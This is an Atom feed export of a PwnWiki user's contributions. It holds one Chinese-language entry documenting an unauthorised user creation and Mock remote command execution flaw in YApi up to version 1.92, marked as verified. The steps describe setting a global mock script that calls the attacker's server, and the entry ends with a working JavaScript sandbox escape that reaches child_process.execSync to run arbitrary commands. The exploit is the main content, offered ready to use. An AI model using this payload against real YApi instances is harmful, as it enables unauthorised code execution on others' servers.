<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=%E9%98%BF%E7%99%BD</id>
	<title>PwnWiki - User contributions [Chinese]</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=%E9%98%BF%E7%99%BD"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Special:Contributions/%E9%98%BF%E7%99%BD"/>
	<updated>2026-04-04T03:24:41Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=YApi_%E6%9C%AA%E6%8E%88%E6%AC%8A%E7%94%A8%E6%88%B6%E5%89%B5%E5%BB%BA%26Mock%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=6599</id>
		<title>YApi 未授權用戶創建&amp;Mock遠程命令執行漏洞</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=YApi_%E6%9C%AA%E6%8E%88%E6%AC%8A%E7%94%A8%E6%88%B6%E5%89%B5%E5%BB%BA%26Mock%E9%81%A0%E7%A8%8B%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=6599"/>
		<updated>2021-07-08T15:46:54Z</updated>

		<summary type="html">&lt;p&gt;阿白: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{| style=&amp;quot;border: 2.0px solid grey; background: #b3ff9c;&amp;quot; width=&amp;quot;85%&amp;quot;&lt;br /&gt;
| align=&amp;quot;center&amp;quot; width=&amp;quot;60px&amp;quot;| [[File:Check.png|link=|55px]]&lt;br /&gt;
| align=&amp;quot;center&amp;quot; |'''&amp;lt;translate&amp;gt;&amp;lt;!--T:1--&amp;gt; 該漏洞已通過驗證&amp;lt;/translate&amp;gt;'''&lt;br /&gt;
------&lt;br /&gt;
&amp;lt;small&amp;gt;&amp;lt;translate&amp;gt;&amp;lt;!--T:2--&amp;gt; 本頁面的EXP/POC/Payload經測試可用，漏洞已經成功復現。&amp;lt;/translate&amp;gt;&amp;lt;/small&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==影響版本== &amp;lt;!--T:3--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;=V1.92 All&lt;br /&gt;
&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==漏洞復現== &amp;lt;!--T:4--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
&amp;lt;!--T:6--&amp;gt;&lt;br /&gt;
登錄註冊後，創建一個項目&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:124460388-eaa46100-ddc1-11eb-80c4-2bddb97df8e1.png | 800px]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
&amp;lt;!--T:7--&amp;gt;&lt;br /&gt;
然後選擇設置全局的mock腳本，設置命令為遠程訪問我的服務器地址。&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:124460511-090a5c80-ddc2-11eb-92f6-46c9b3b498bb.png | 800px ]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
&amp;lt;!--T:8--&amp;gt;&lt;br /&gt;
添加接口，訪問接口的mock地址&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:124460629-2dfecf80-ddc2-11eb-98c3-b96f7174d8f1.png  | 800px]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
&amp;lt;!--T:9--&amp;gt;&lt;br /&gt;
服務器可以看到如下響應&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
[[File:124460757-5686c980-ddc2-11eb-87df-09e0f9ac08af.png  | 800px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==POC==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const sandbox = this&lt;br /&gt;
const ObjectConstructor = this.constructor&lt;br /&gt;
const FunctionConstructor = ObjectConstructor.constructor&lt;br /&gt;
const myfun = FunctionConstructor('return process')&lt;br /&gt;
const process = myfun()&lt;br /&gt;
mockJson = process.mainModule.require(&amp;quot;child_process&amp;quot;).execSync(&amp;quot;command&amp;quot;).toString()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==參考== &amp;lt;!--T:10--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
https://github.com/YMFE/yapi/issues/2233&lt;/div&gt;</summary>
		<author><name>阿白</name></author>
	</entry>
</feed>